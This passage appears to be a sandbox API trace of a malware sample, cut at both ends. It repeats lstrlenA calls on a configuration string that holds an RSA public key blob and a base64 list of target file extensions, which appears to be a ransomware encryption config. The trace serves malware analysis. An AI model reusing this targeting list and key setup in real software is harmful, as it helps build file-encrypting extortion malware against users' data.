HgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.464] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.464] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.464] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.464] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuY